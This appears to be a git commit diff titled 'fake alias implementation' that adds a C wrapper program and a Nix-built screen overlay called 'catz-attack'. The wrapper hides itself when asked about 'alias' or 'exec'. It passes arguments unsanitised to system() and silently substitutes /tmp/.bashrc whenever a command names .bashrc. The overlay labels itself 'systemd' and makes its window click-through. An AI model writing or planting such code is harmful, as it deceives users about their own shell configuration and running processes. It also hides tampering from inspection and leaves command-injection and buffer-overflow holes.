fake alias implementation
This commit is contained in:
9
alias/Makefile
Normal file
9
alias/Makefile
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
SRC = main.c
|
||||||
|
OUT = fake_alias
|
||||||
|
CFLAGS = -Wall -Wextra -g -fsanitize=address
|
||||||
|
|
||||||
|
all: $(SRC)
|
||||||
|
$(CC) $(CFLAGS) $(SRC) -o $(OUT)
|
||||||
|
|
||||||
|
clean:
|
||||||
|
$(RM) $(OUT)
|
||||||
BIN
alias/fake_alias
Executable file
BIN
alias/fake_alias
Executable file
Binary file not shown.
38
alias/main.c
Normal file
38
alias/main.c
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main (int argc, char **argv) {
|
||||||
|
//printf("argc = %d", argc);
|
||||||
|
if (argc < 2) {
|
||||||
|
printf("Error: at least one argument is required\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
// check for alias or exec
|
||||||
|
if (strstr(argv[1], "alias") || strstr(argv[1], "exec")){
|
||||||
|
printf("There is nothing to see here, beggar off...\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle only the command
|
||||||
|
if (argc == 2) {
|
||||||
|
system(argv[1]);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
char *rep_file = "/tmp/.bashrc";
|
||||||
|
char command[500] = {'\0'};
|
||||||
|
strcpy(command, "/bin/"); // Prefix of the command
|
||||||
|
// We filter any .bashrc and replace it by our own
|
||||||
|
for (int i=1; i<argc; i++) {
|
||||||
|
if (strstr(argv[i], ".bashrc") != NULL){
|
||||||
|
strcpy(command + strlen(command), rep_file); // replace by our copy
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
strcpy(command + strlen(command), argv[i]); // let the original
|
||||||
|
}
|
||||||
|
command[strlen(command)] = ' ';
|
||||||
|
}
|
||||||
|
// printf("Launching: %s\n", command);
|
||||||
|
system(command);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
18
default.nix
Normal file
18
default.nix
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
# simple.nix
|
||||||
|
let
|
||||||
|
pkgs = import <nixpkgs> { };
|
||||||
|
in
|
||||||
|
pkgs.stdenv.mkDerivation {
|
||||||
|
name = "hello-nix";
|
||||||
|
|
||||||
|
src = ./.;
|
||||||
|
|
||||||
|
buildPhase = ''
|
||||||
|
$CC simple.c -o hello_nix
|
||||||
|
'';
|
||||||
|
|
||||||
|
installPhase = ''
|
||||||
|
mkdir -p $out/bin
|
||||||
|
cp hello_nix $out/bin/hello_nix
|
||||||
|
'';
|
||||||
|
}
|
||||||
BIN
firmware.bin
Executable file
BIN
firmware.bin
Executable file
Binary file not shown.
32
overlay/default.nix
Normal file
32
overlay/default.nix
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
# simple.nix
|
||||||
|
let
|
||||||
|
pkgs = import <nixpkgs> { };
|
||||||
|
in
|
||||||
|
pkgs.stdenv.mkDerivation {
|
||||||
|
name = "catz-attack";
|
||||||
|
|
||||||
|
src = ./src/.;
|
||||||
|
|
||||||
|
buildInputs = [
|
||||||
|
pkgs.pkg-config
|
||||||
|
pkgs.sdl3
|
||||||
|
pkgs.sdl3-image
|
||||||
|
pkgs.xorg.libX11
|
||||||
|
pkgs.xorg.libXext
|
||||||
|
pkgs.xorg.libXrender
|
||||||
|
pkgs.xorg.libXcomposite
|
||||||
|
pkgs.xorg.libXcursor
|
||||||
|
pkgs.libxfixes
|
||||||
|
];
|
||||||
|
|
||||||
|
buildPhase = ''
|
||||||
|
echo $CC main.c neko.c -I ./ -o catz-attack $(pkg-config --cflags --libs sdl3 x11 xfixes sdl3-image) -lm
|
||||||
|
$CC main.c neko.c -I ./ -o catz-attack $(pkg-config --cflags --libs sdl3 x11 xfixes sdl3-image) -lm
|
||||||
|
'';
|
||||||
|
|
||||||
|
installPhase = ''
|
||||||
|
mkdir -p $out/bin
|
||||||
|
cp real_oneko.gif sample.gif $out/bin/
|
||||||
|
cp catz-attack $out/bin/catz-attack
|
||||||
|
'';
|
||||||
|
}
|
||||||
BIN
overlay/res/main
BIN
overlay/res/main
Binary file not shown.
1
overlay/result
Symbolic link
1
overlay/result
Symbolic link
@@ -0,0 +1 @@
|
|||||||
|
/nix/store/115rxak3fbaqs4xfglndd333z44bx6lk-catz-attack
|
||||||
@@ -68,6 +68,7 @@ SDL_AppResult SDL_AppInit(void **appstate, int argc, char *argv[])
|
|||||||
char *gif_path = NULL;
|
char *gif_path = NULL;
|
||||||
|
|
||||||
SDL_SetAppMetadata("systemd", "1.0", "org.kernel.systemd");
|
SDL_SetAppMetadata("systemd", "1.0", "org.kernel.systemd");
|
||||||
|
SDL_SetHint("SDL_VIDEO_X11_VISUALID", "argb");
|
||||||
|
|
||||||
if (!SDL_Init(SDL_INIT_VIDEO)) {
|
if (!SDL_Init(SDL_INIT_VIDEO)) {
|
||||||
SDL_Log("Couldn't initialize SDL: %s", SDL_GetError());
|
SDL_Log("Couldn't initialize SDL: %s", SDL_GetError());
|
||||||
@@ -95,9 +96,10 @@ SDL_AppResult SDL_AppInit(void **appstate, int argc, char *argv[])
|
|||||||
return SDL_APP_FAILURE;
|
return SDL_APP_FAILURE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
SDL_SetRenderDrawBlendMode(renderer, SDL_BLENDMODE_BLEND);
|
||||||
make_window_clickthrough();
|
make_window_clickthrough();
|
||||||
set_override_redirect();
|
set_override_redirect();
|
||||||
SDL_SetDefaultTextureScaleMode(renderer, SDL_SCALEMODE_PIXELART);
|
//SDL_SetTextureScaleMode(renderer, SDL_SCALEMODE_LINEAR);
|
||||||
|
|
||||||
neko_init(renderer, window);
|
neko_init(renderer, window);
|
||||||
|
|
||||||
|
|||||||
BIN
overlay/src/real_oneko.gif
Normal file
BIN
overlay/src/real_oneko.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.7 KiB |
BIN
overlay/src/sample.gif
Normal file
BIN
overlay/src/sample.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.0 MiB |
Reference in New Issue
Block a user